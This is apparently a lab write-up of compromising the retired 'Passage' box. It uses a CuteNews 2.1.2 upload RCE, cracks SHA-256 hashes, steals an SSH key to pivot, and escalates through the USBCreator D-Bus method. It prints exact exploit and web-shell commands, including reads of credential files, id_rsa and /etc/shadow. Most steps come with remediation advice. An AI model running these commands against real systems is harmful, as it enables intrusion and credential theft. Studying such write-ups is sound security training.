Passage
Summary
I fingerprinted a CuteNews 2.1.2 web application on the target's Apache server and exploited a known unauthenticated avatar file-upload flaw (CVE-2019-11447) to execute code as the web service account. From that foothold I read CuteNews's flat-file credential store, extracted unsalted SHA-256 password hashes, and cracked local user paul's password offline in seconds.
Because external SSH access to paul was blocked by network filtering, I drove a terminal-wrapped 'su' command through the existing web shell to reach paul's session and capture the user flag. Paul's unpassphrase-protected SSH private key was then read through the same channel; that key was trusted by a second local account, nadav, via an authorized_keys entry.
Loopback SSH with the stolen key gave a shell as nadav, who is a member of the sudo group. Ubuntu's USBCreator D-Bus polkit policy grants sudo-group members the right to copy arbitrary files as root without a password prompt; I called that method to copy /root/root.txt to a world-readable path, achieving full system compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 3
nmap -Pn -p22,80 -sV --script=http-title,http-server-header $TARGETecho "$TARGET passage.htb" | sudo tee -a /etc/hostscurl -sS -H 'Host: passage.htb' http://$TARGET/CuteNews/ -IExact commands 3
searchsploit -m 48800python3 /opt/hexstrike-ai/cutenews_rce_once.py http://$TARGET 'id' 'whoami' 'ls -la /home' 'find /home -maxdepth 3 -name user.txt -type f 2>/dev/null'curl -sS -H 'Host: passage.htb' --data-urlencode 'cmd=id' "http://$TARGET/CuteNews/uploads/avatar_<user>_shell.php"FixPatch or replace CuteNews 2.1.2 and block script execution in the uploads directoryCritical
Exact commands 2
curl -sS -H 'Host: passage.htb' --data-urlencode 'cmd=cat /var/www/html/CuteNews/cdata/users/lines' "http://$TARGET/CuteNews/uploads/avatar_<user>_shell.php" | grep -oE '[a-f0-9]{64}' > hashes.txthashcat -m 1400 hashes.txt /usr/share/wordlists/rockyou.txt --forceFixReplace unsalted SHA-256 password storage with a modern adaptive hash and enforce cross-service password uniquenessHigh
Exact commands 1
curl -sS -H 'Host: passage.htb' --data-urlencode "cmd=(sleep 1; printf '$PASSWORD\n') | script -q /dev/null -c \"su - paul -c 'id; cat /home/paul/user.txt'\"" "http://$TARGET/CuteNews/uploads/avatar_<user>_shell.php"Exact commands 3
curl -sS -H 'Host: passage.htb' --data-urlencode 'cmd=cat /home/paul/.ssh/id_rsa' "http://$TARGET/CuteNews/uploads/avatar_<user>_shell.php" > paul_id_rsa && chmod 600 paul_id_rsacurl -sS -H 'Host: passage.htb' --data-urlencode 'cmd=cat /home/nadav/.ssh/authorized_keys' "http://$TARGET/CuteNews/uploads/avatar_<user>_shell.php"ssh -i paul_id_rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null nadav@127.0.0.1FixRemove cross-account SSH key trust and protect all private keys with passphrasesHigh
Exact commands 3
gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /root/root.txt /tmp/root.txt truecat /tmp/root.txtgdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /etc/shadow /tmp/shadow.txt trueFixRemove the USBCreator service or tighten its polkit policy to require authenticated authorisationCritical
Attack patterns used
The transferable techniques behind this compromise.
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http syn-ack ttl 63 |